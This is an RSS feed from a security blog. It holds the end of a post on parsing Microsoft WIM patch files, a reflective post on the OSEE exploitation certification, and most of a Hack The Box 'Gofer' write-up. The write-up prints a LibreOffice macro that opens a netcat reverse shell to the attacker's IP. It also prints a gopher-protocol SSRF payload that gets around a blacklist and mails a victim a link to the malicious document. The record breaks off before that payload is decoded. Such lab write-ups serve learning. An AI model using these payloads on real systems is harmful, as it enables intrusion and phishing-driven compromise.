TotalMinutes      : 0.0287673933333333
TotalSeconds      : 1.7260436
TotalMilliseconds : 1726.0436
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Measure-Command {.\wim.ps1 -Wim .\wim.msu -Destination wimtest}
[+] Magic bytes match WIM signature
[+] WIM File is not compressed
[*] GUID: 35C3305ECFA83CE22B673A79518C202A
[+] Offset table at 0x30a2d304
[+] XML data at 0x30a2d494
[*] Metadata not included in WIM File. Checking Resource files for metadata.
[*] No boot metadata found. Using the first resource in the offset table.
[+] Found file: DesktopDeployment.cab [89E96B37CC2EE5E6017FF2AB03E399133C65C002]
[+] Found file: DesktopDeployment_x86.cab [0884E45A1E35D453368C0E6A730317122E92A10F]
[+] Found file: SSU-26100.3764-x64.cab [2D4713681EA1FB66172EB2DDB1F6BED5D447664B]
[+] Found file: Windows11.0-KB5055523-x64.psf [A343EE70DB22870629EE0BD9F4672D1EF047F077]
[+] Found file: Windows11.0-KB5055523-x64.wim [4C698B7BA1F2F690130D6220EAA998CECD9CCE00]
[+] Found file: onepackage.AggregatedMetadata.cab [757FB964F02D464DC6D9BFE4DDDE161F67DA6C27]
[+] Found file: wsusscan.cab [AA2799D8FC05E1CF64E8E4F0CC517F7FEF62EDAD]

Days              : 0
Hours             : 0
Minutes           : 0
Seconds           : 0
Milliseconds      : 760
Ticks             : 7603211
TotalDays         : 8.80001273148148E-06
TotalHours        : 0.000211200305555556
TotalMinutes      : 0.0126720183333333
TotalSeconds      : 0.7603211
TotalMilliseconds : 760.3211
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It’s probably not a fair comparison as 7zip as a more robust tool but for our use case, this is a nice improvement.&lt;/p&gt;

&lt;h1 id=&quot;coming-full-circle&quot;&gt;Coming Full Circle&lt;/h1&gt;
&lt;p&gt;I wanted to add this functionality to PatchExtract.ps1 and the more I worked on it, the more I found myself rewriting the original script. The product of this rewrite is &lt;a href=&quot;https://github.com/basicinfosecurity/misc/blob/master/WIM/Expand-Patch.ps1&quot;&gt;Expand-Patch.ps1&lt;/a&gt;.
It should behave similarly to the original, just with the WIM parsing and some optimizations. The bulk of sorting now occurs during the unpacking of the PSF. I also fixed parsing of the PSF manifest data to occur at the &lt;a href=&quot;https://gist.github.com/wumb0/306f97dc8376c6f53b9f9865f60b4fb5?permalink_comment_id=5417945#gistcomment-5417945&quot;&gt;proper offset&lt;/a&gt;. The repo can be found &lt;a href=&quot;https://github.com/basicinfosecurity/misc/tree/master/WIM&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/wim/expand patch 1.PNG&quot; alt=&quot;script2&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I would be grateful if people can check it out and let me know what they think of it. Thanks to Greg Linares (&lt;a href=&quot;https://twitter.com/Laughing_Mantis/&quot;&gt;@Laughing_Mantis&lt;/a&gt;) and &lt;a href=&quot;https://wumb0.in/&quot;&gt;wumb0&lt;/a&gt; for providing these scripts to researchers. Thanks also to &lt;a href=&quot;https://github.com/ebiggers/wimlib&quot;&gt;wimlib&lt;/a&gt; which pointed the way whenever I got lost.&lt;/p&gt;

&lt;div class=&quot;footnotes&quot; role=&quot;doc-endnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:1&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;Microsoft, Windows Imaging File Format (WIM) (2007), p. 4 &lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:2&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;https://www.reddit.com/r/techsupport/comments/1ij7e77/can_expandexe_still_extract_the_content_of_an_msu/ &lt;a href=&quot;#fnref:2&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:3&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;https://gist.github.com/wumb0/306f97dc8376c6f53b9f9865f60b4fb5#file-patchextract-ps1-L159 &lt;a href=&quot;#fnref:3&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:4&quot; role=&quot;doc-endnote&quot;&gt;
      &lt;p&gt;Microsoft, Windows Imaging File Format (WIM) (2007), p. 5 &lt;a href=&quot;#fnref:4&quot; class=&quot;reversefootnote&quot; role=&quot;doc-backlink&quot;&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;
</description>
        
          <description>&lt;h1 id=&quot;following-the-bits&quot;&gt;Following the bits&lt;/h1&gt;
&lt;p&gt;While patch diffing with &lt;a href=&quot;https://gist.github.com/wumb0/306f97dc8376c6f53b9f9865f60b4fb5&quot;&gt;PatchExtract.ps1&lt;/a&gt;, I encountered a peculiar change in Microsoft’s recent patch releases. They were usually packaged as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.cab&lt;/code&gt; files but now released as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.wim&lt;/code&gt; files. What is this file format?&lt;/p&gt;

</description>
        
        <pubDate>Mon, 20 Oct 2025 00:00:00 +0000</pubDate>
        <link>https://basicinfosecurity.github.io//blog/At-the-WIM-of-Microsoft/</link>
        <guid isPermaLink="true">https://basicinfosecurity.github.io//blog/At-the-WIM-of-Microsoft/</guid>
        
        
      </item>
      
    
      
      <item>
        <title>OSEE and Me</title>
        <description>&lt;p&gt;&lt;em&gt;This is the final post on the “OSXX and Me” series. Checkout the rest:&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;em&gt;&lt;a href=&quot;/blog/OSCP-and-Me/&quot;&gt;OSCP and Me&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;&lt;a href=&quot;/blog/OSCE-and-Me/&quot;&gt;OSCE and Me&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h1 id=&quot;prelude&quot;&gt;Prelude&lt;/h1&gt;
&lt;p&gt;It was May 2019. Having claimed–the now outdated–OSCE, I set my sights for OSEE. A direct path proved to be elusive. Offsec used to offer AWE/EXP-401 training at Blackhat Asia. It was last offered during the &lt;a href=&quot;https://www.blackhat.com/asia-19/training/schedule/&quot;&gt;2019 iteration&lt;/a&gt; in April. Options were now limited to expensive trips outside Singapore, usually for BH Las Vegas or Europe. As much as I wanted, it was financially forbidding. I was hopeful for a day it returns and having change to spare for it.&lt;/p&gt;

&lt;p&gt;Then the pandemic hit.&lt;/p&gt;

&lt;p&gt;Around 2020, Corelan offered its &lt;a href=&quot;https://www.corelan-training.com/index.php/training/heap/&quot;&gt;trainings&lt;/a&gt; in Singapore. I thought it was a great way to learn Windows Exploitation if EXP-401 never returned. The raging virus ravaged the world delaying the training to 2023.&lt;/p&gt;

&lt;p&gt;In late 2023, early bird promos for EXP-401 was announced to my suprise! Even for an early bird slot, the price was almost triple of BH Asia(perhaps the ticket sales were used to pay the rest of the training costs?). It was hard to pass up.&lt;/p&gt;

&lt;h1 id=&quot;interlude&quot;&gt;Interlude&lt;/h1&gt;
&lt;h2 id=&quot;training-week&quot;&gt;Training Week&lt;/h2&gt;
&lt;p&gt;Training was held in late May 2024 at a nice hotel. I swear putrefied slush streamed from my ears. The food was nice and consoling though.&lt;/p&gt;

&lt;p&gt;Nights were spent on exercises. My skill level was inadequate to take on any extra miles. There were students who claimed challenge coins even though they just received the handbook. Having completed all the extra miles by myself, I can say there are students who &lt;em&gt;really really&lt;/em&gt; wanted those coins. The instructors also gave out stickers for completing exercises from the text book. I may not have claimed any coins but I was happy to get a sticker.&lt;/p&gt;

&lt;h2 id=&quot;training-months&quot;&gt;Training Months&lt;/h2&gt;
&lt;p&gt;The rest of 2024 was devoted to studying the tome of a text book. During bootcamp, I was up from evening to morning trying to catch up,showing up dazed and hardly attentive for class. Imagine stumbling and divining your way through a cave, and into a circuitous network of keyholes. Outside the bootcamp setting, I was able to rest and to pace myself accordingly. These contributed greatly to my improvement and to my morale. The extra miles–the true exercises of the course–were once thought impossible. Steady progress were made on each until all of them were completed. I enjoyed Browser Exploitation the most and VMWare exploitation the least for the former had targets easy to debug and the latter the most tedious to manage and rebuild.&lt;/p&gt;

&lt;h2 id=&quot;first-attempt&quot;&gt;First Attempt&lt;/h2&gt;
&lt;p&gt;I booked the exam for November as I wanted to claim the certification before EOY. There were some clues to the challenges in the exam report but prep time was scarce.&lt;/p&gt;

&lt;p&gt;On exam day, I assumed the most difficult challenge was the one most unfamiliar to me. I went straight for the second challenge. It was a grave mistake. By the end of the third day, I only solved the second challenge and did not complete the first. Even though it only amounted to half of the requirements, I still wrote the report. The next day, the failure result came but not for an incomplete report. It turns out I failed to upload the report properly. My mind was mushed soup, barely contained by the bowl I called a head.&lt;/p&gt;

&lt;h2 id=&quot;second-attempt&quot;&gt;Second attempt&lt;/h2&gt;
&lt;p&gt;I took the exam again in January. Having already done the second, I poured my efforts into the first. Perhaps in any walk of life, good recon will net the necessary edge to overcome any situation. Most of the time was consumed in RE, to cover more ground than my previous attempt. The solution I came up with was unconventional; I was unsure if it was the intended solution. Hacking is a pragmatic science, I suppose? Despite having doubts, the exploit worked and fulfilled the necessary objectives. To salve my conscience, I made sure to use the remaining time collecting data and screenshots and prepping the report. After rest on the fourth day, I wrote and submitted the report the morning after and reported in for work. And yes, this time I was able to upload the report properly.&lt;/p&gt;

&lt;h1 id=&quot;postlude&quot;&gt;Postlude&lt;/h1&gt;
&lt;p&gt;The course is a newer version of AWE, the materials updated and released back in 2023 to my knowledge. I have no reference point as this is my first time taking it but I can finally say I now have some idea what a primitive means. It’s such a vague term for me, pinning down what it exactly means is as elusive as its etymology. &lt;a href=&quot;https://youtu.be/PY9fNJel-X8?t=225&quot;&gt;zardus&lt;/a&gt; formulates it in the most digestible form I’ve found. Anyway, the materials were a joy to study on their own. Having said this it still shows its age in some parts even though it was refreshed. Corrections to the labs reported by students are missing from the materials. They enable the conditions for the exploits to work properly, instead of making the extra miles easier. I’m unsure why they are yet to be added.&lt;/p&gt;

&lt;p&gt;I’m also unsure if the steep price is proportional to the value of the service you’re getting. This course is unlike any other in Offsec’s catalog: no videos, no recordings. You get a text book, PoC code and VMs for practice. Purchasing the course and viewing exam results are unavailable in the student portal. I can understand the former but the latter? Not so much. This is my latest, and probably my last, Offsec course so I was pleasantly surprised the exam results are now shared to students. The pleasantness faded as soon as I discovered AWE is yet to receive the same treatment.&lt;/p&gt;

&lt;h2 id=&quot;when-try-harder-is-not-enough&quot;&gt;When “Try Harder” is not enough&lt;/h2&gt;
&lt;p&gt;The instructors, while they constructed and provided excellent material, were unresponsive to inquiries. At the end of the bootcamp they gave out their contact details. From the emails I sent, only the first one received a reply. I would have appreciated hearing from and interacting with them. There is also a private discord channel for students and instructors; it’s often too quiet. You’re lucky to get a reply.&lt;/p&gt;

&lt;p&gt;From a student.&lt;/p&gt;

&lt;p&gt;This is problematic as students have no obligation to help. Perhaps its par for the course. After all this is Offsec.&lt;/p&gt;

&lt;p&gt;The result is given out &lt;a href=&quot;https://help.offsec.com/hc/en-us/articles/360046458732-EXP-401-Advanced-Windows-Exploitation-OSEE-Exam-Guide#results&quot;&gt;within ten business days&lt;/a&gt;. It seems there are two types of vocal students: those who get their result in 24 hours and those waiting out the 10 days, if not more. Those who wait 3-6 days or a week might have no gripes. The unenviably unlucky ones endure 10 or more days. Unable to act or plan immediately, they are forced into stasis. Ten days might seem fair, but considering the total time investment makes it unpalatable. For AWE, the exam is 4 days. Adding the waiting period, 2 weeks. Imagine a student receiving a failing result after investing 2 weeks, and potentially another 2 weeks for the retake.&lt;/p&gt;

&lt;p&gt;That’s a month.&lt;/p&gt;

&lt;p&gt;The total hikes up further if we consider slot availability. After all, it’s not always easy to line up &lt;em&gt;4 back to back, open days&lt;/em&gt;. Students will probably forgo other plans. They can’t simply &lt;em&gt;“try harder”&lt;/em&gt; their way out. This might happen to the unluckiest of students but I think there are students who can strongly relate. For my second attempt the result came after 10 business days. With the exam the ordeal was 18 calendar days. It is difficult for me to write about this as part of me thinks &lt;em&gt;“It’s okay to be patient and to wait”&lt;/em&gt;. Part of me also thinks &lt;em&gt;“Is it unreasonable of me to feel so uneasy with the amount of time and money invested in this?”&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;The &lt;a href=&quot;https://www.offsec.com/awe/EXP401_syllabus.pdf&quot;&gt;current syllabus&lt;/a&gt; is at odds with the &lt;a href=&quot;https://www.credential.net/group/360702&quot;&gt;credentials description&lt;/a&gt;:
&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/credentials 1.PNG&quot; alt=&quot;creds&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;Preventing ASLR was not tackled in the course. The course placed focus on obtaining info leaks and converting them into useful primitives.&lt;/li&gt;
  &lt;li&gt;EMET is long gone as of this writing. It was used as supplementary material for &lt;a href=&quot;https://www.microsoft.com/en-us/security/blog/2017/10/23/windows-defender-exploit-guard-reduce-the-attack-surface-against-next-generation-malware/&quot;&gt;WDEG&lt;/a&gt; but not a focal point.&lt;/li&gt;
  &lt;li&gt;We mostly used 64 bit&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Probably for the sake of previous holders, Offsec kept the same details for newer holders. It’s a shame since newer holders will have to contend with displaying an outdated version of their achievement. An OSEE/OSEE+ split might be unonscionable; simply thinking about it gives me shivers.&lt;/p&gt;

&lt;p&gt;Offsec has been around for a while, they must receive similar feedback in some form or another. If not, I hope they consider this post in improving the learning experience of their students. Despite the remonstrances, I am thankful to them for creating wonderful courses and for helping me advance my career. There’s still a lot to learn. Thanks to Offsec, I may be able to go the distance with new found skills and experience. If ever I am interested in any of their new content I will check them out. Though I cannot take nor recommend them without reluctance.&lt;/p&gt;

&lt;h2 id=&quot;whats-next&quot;&gt;What’s Next?&lt;/h2&gt;
&lt;p&gt;My backlog is swelling and there are some things I’ve been wanting to post for some time now. I’ll come out with technical content to make up for the lack in this post. As for certs, I have some pushed aside so I’ll continue pursuing them. Thanks for visiting my blog. Please look out for more posts.&lt;/p&gt;

</description>
        
          <description>&lt;p&gt;&lt;em&gt;This is the final post on the “OSXX and Me” series. Checkout the rest:&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;&lt;em&gt;&lt;a href=&quot;/blog/OSCP-and-Me/&quot;&gt;OSCP and Me&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
  &lt;li&gt;&lt;em&gt;&lt;a href=&quot;/blog/OSCE-and-Me/&quot;&gt;OSCE and Me&lt;/a&gt;&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;

</description>
        
        <pubDate>Fri, 21 Feb 2025 00:00:00 +0000</pubDate>
        <link>https://basicinfosecurity.github.io//blog/OSEE-and-Me/</link>
        <guid isPermaLink="true">https://basicinfosecurity.github.io//blog/OSEE-and-Me/</guid>
        
        
      </item>
      
    
      
      <item>
        <title>HTB Gofer</title>
        <description>&lt;h3 id=&quot;intro&quot;&gt;Intro&lt;/h3&gt;
&lt;p&gt;Hey. It’s been a while. Here’s a post. Trying to mix things up a bit with a ctf writeup. It’s heavy on screenshots and if you notice any anachronisms it’s because the screenshots are from the future. Just kidding. I went back and forth to get more for illustration.&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/Gofer.png&quot; /&gt;&lt;/p&gt;

&lt;h3 id=&quot;recon&quot;&gt;Recon&lt;/h3&gt;
&lt;p&gt;Let’s start with a simple scan:&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/nmap.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;First, we can see port 80 which is associated with domain name &lt;em&gt;gofer.htb&lt;/em&gt;. Let’s put that in our &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/hosts&lt;/code&gt; file later. Second Samba is also available, noticeably with a version vulnerable to Sambacry. Looks like low-hanging fruit and I did make an attempt just to make sure. As this is a “Hard” box, doors won’t easily open. Finally there’s port 25 which is filtered and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ssh&lt;/code&gt; which will come into play later on.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/gofer_site.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;As usual of HTB fare, it’s a webapp. It’s quite minimal which tells us we don’t need to spend much time gawking at its design. I did go through any functionality that might be of interest. There’s the map and message box. But the message box was broken (ie no target for the form action) and I already know where I am.&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/the team.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;There’s info about the fictional employees though. That will come in handy later on.&lt;/p&gt;

&lt;h4 id=&quot;samba&quot;&gt;Samba&lt;/h4&gt;
&lt;p&gt;What’s in the smb shares? Well there’s a folder named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shares&lt;/code&gt;. Quite prosaic.&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/samba1.png&quot; /&gt;&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/samba2.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Some mail is backed up. Going through it, we’ll find the setup for this challenge:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;From jdavis@gofer.htb  Fri Oct 28 20:29:30 2022
Return-Path: &amp;lt;jdavis@gofer.htb&amp;gt;
X-Original-To: tbuckley@gofer.htb
Delivered-To: tbuckley@gofer.htb
Received: from gofer.htb (localhost [127.0.0.1])
        by gofer.htb (Postfix) with SMTP id C8F7461827
        for &amp;lt;tbuckley@gofer.htb&amp;gt;; Fri, 28 Oct 2022 20:28:43 +0100 (BST)
Subject:Important to read!
Message-Id: &amp;lt;20221028192857.C8F7461827@gofer.htb&amp;gt;
Date: Fri, 28 Oct 2022 20:28:43 +0100 (BST)
From: jdavis@gofer.htb

Hello guys,

Our dear Jocelyn received another phishing attempt last week and his 
habit of clicking on links without paying much attention may be 
problematic one day. That&apos;s why from now on, I&apos;ve decided that 
important documents will only be sent internally, by mail, which 
should greatly limit the risks. If possible, use an .odt format, 
as documents saved in Office Word are not always well interpreted 
by Libreoffice.

PS: Last thing for Tom; I know you&apos;re working on our web proxy 
but if you could restrict access, it will be more secure until 
you have finished it. It seems to me that it should be possible 
to do so via &amp;lt;Limit&amp;gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/jocelyn.png&quot; /&gt;&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;&lt;em&gt;A security threat.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Seems like someone is skipping their cyber awareness training. She(or he?) will lend us a helping hand gaining a foothold. Let’s craft that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.odt&lt;/code&gt; document!&lt;/p&gt;

&lt;h3 id=&quot;odt-macros&quot;&gt;ODT Macros&lt;/h3&gt;
&lt;p&gt;There are guides like &lt;a href=&quot;https://dominicbreuker.com/post/htb_re/&quot; target=&quot;_blank&quot;&gt;this&lt;/a&gt; one and &lt;a href=&quot;https://wiki.openoffice.org/wiki/Documentation/OOoAuthors_User_Manual/Getting_Started/Creating_a_simple_macro&quot; target=&quot;_blank&quot;&gt;this&lt;/a&gt; one for this part.&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/macro1.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;With the document prepared, I sent the email to Jocelyn. The mail address &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jhudson@gofer.htb&lt;/code&gt; was easy enough to guess as it takes after the other known email addresses (e.g. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jdavis@gofer.htb&lt;/code&gt;).
The command to send is:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;mutt -s &quot;Hello Jocelyn!&quot; -a test.odt -- jhudson@gofer.htb
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;But you can’t send emails. Remember, port 25 is filtered.&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/mail.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Well that sucks. Now what?&lt;/p&gt;

&lt;h3 id=&quot;recon-pt-2&quot;&gt;Recon pt. 2&lt;/h3&gt;
&lt;p&gt;We’re going to make use of a hackers’ most powerful recon tool in his arsenal:&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/htb_forums.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Nah, no begging. Let’ go back to the email. There’s supposedly a proxy in the works, but where is it? That’s what we need to find right now. Let’s fire up our discovery tools.&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;wfuzz -Z -w /home/jerowin/Documents/htb/Machines/dynstr/subdomains-top1million-
110000.txt --hc 400,404 -u http://gofer.htb/ -H &quot;Host: FUZZ.gofer.htb&quot; --hl 9

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://gofer.htb/
Total requests: 114441

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                      
=====================================================================

000000084:   401        14 L     54 W       462 Ch      &quot;proxy&quot;                                                                                                                      

Total time: 161.1278
Processed Requests: 114441
Filtered Requests: 114440
Requests/sec.: 710.2496
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;The first rounds of discovery didn’t turn up much. No additional paths were discovered so we need to see if there are subdomains. For this part, be mindful of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/etc/hosts&lt;/code&gt; file. Only domains associated with the target IP will be resolved. Since we don’t know the subdomain yet, we need to use a technique to check. Fortunately we can fuzz through the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Host&lt;/code&gt; header. We hit a subdomain named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;proxy&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Okay, we avoided defeat this time. But we’re not yet out of the woods. Notice that our fuzz returned &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HTTP 401&lt;/code&gt;. That’s not good. We’re locked out and this was our only lead up until recently. Being a proxy, there might be a way to probe it deeper, but how? For that we’ll need to fuzz further:&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/fuzz2.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;After several rounds of fuzzing I was somewhat ready to call it a day but then I noticed something interesting. There are some methods not implemented. That could be an interesting venture. What if we paired it with path/file discovery?&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/fuzz.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Wow, we actually found something. Turns out there are some specific methods not implemented. But any other method will do:&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/fuzz3.png&quot; /&gt;&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/fuzz4.png&quot; /&gt;&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;&lt;em&gt;If you&apos;re wondering, no this is not a reskinned burpsuite. Check out &lt;a href=&quot;https://caido.io&quot; target=&quot;_blank&quot;&gt;caido&lt;/a&gt; which is sublime for burp I guess?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Turns out I can substitute any method name as long as it is not &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;TRACE&lt;/code&gt; or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;CONNECT&lt;/code&gt;. We found our next entry point &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;index.php&lt;/code&gt;! And it seems to require a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;URL&lt;/code&gt; parameter. What if we were a bit naughty with this parameter?&lt;/p&gt;

&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/rfi1.png&quot; /&gt;&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/rfi2.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Cool, we got ourselves SSRF. But this is Gofer right? There must be some sense to this challenge with that kind of name. So we’ll need to make use of SSRF w/ gopher protocol.&lt;/p&gt;

&lt;h3 id=&quot;ssrf-w-gopher&quot;&gt;SSRF w/ gopher&lt;/h3&gt;
&lt;p&gt;Looking at &lt;a href=&quot;https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery&quot; target=&quot;_blank&quot;&gt;this&lt;/a&gt;, there’s something we can try which is a synthesis of details we’ve gathered:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;The machine name&lt;/li&gt;
  &lt;li&gt;Email is only available internally, as evidenced by port 25 being filtered and the backed up email&lt;/li&gt;
  &lt;li&gt;Someone who likes to click links from emails&lt;/li&gt;
  &lt;li&gt;Support for ODT documents via Libreoffice.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So our plan of attack may look something like this&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Create an ODT document w/ a malicious macro (Done)&lt;/li&gt;
  &lt;li&gt;Edit the macro to create a reverse shell to a netcat listener&lt;/li&gt;
  &lt;li&gt;Serve the document via http server (Done)&lt;/li&gt;
  &lt;li&gt;Trigger SSRF via the Proxy + gopher protocol&lt;/li&gt;
  &lt;li&gt;Target the SMTP service to mail Jocelyn a link to our ODT document.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;We will use this macro:&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;REM  *****  BASIC  *****

Sub Main
	Shell(&quot;nc 10.10.14.114 4444 -e sh&quot;)
End Sub
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After the change, we need to craft the SSRF payload to talk with the SMTP server. Let’s see how this can be done. We need to check if gopher is actually available:&lt;/p&gt;
&lt;p align=&quot;center&quot;&gt;&lt;img src=&quot;https://basicinfosecurity.github.io//assets/img/htb/gofer/ssrf1.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Looks like there’s a blacklist in place. Fortunately, there are countless ways for us to try and overcome this (check out this &lt;a href=&quot;https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery#bypassing-filters&quot; target=&quot;_blank&quot;&gt;guide&lt;/a&gt;). Here is a payload we can try&lt;/p&gt;
&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;TEST /index.php?url=gopher://2130706433:25/xHELO%20gofer.htb%250d%250a
MAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cjhudson@
gofer.htb%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker
@site.com%3E%250d%250aTo%3A%20%3Cjhudson@gofer.htb%3E%250d%250aDate
%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject
%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20
magic%20word%20%21%20&amp;lt;a+href%3d&apos;http%3a//10.10.14.114:8000/test.odt&amp;gt;
this&amp;lt;/a&amp;gt;%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For legibility let’s decode it.:&lt;/p&gt;
